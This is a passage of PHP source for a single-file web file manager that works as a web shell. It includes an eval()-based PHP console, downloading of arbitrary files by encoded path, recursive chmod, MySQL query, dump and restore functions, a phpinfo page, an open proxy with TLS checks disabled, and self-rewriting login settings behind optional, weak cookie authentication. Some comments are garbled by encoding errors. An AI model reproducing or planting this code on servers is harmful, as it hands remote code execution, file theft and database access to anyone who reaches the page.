		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j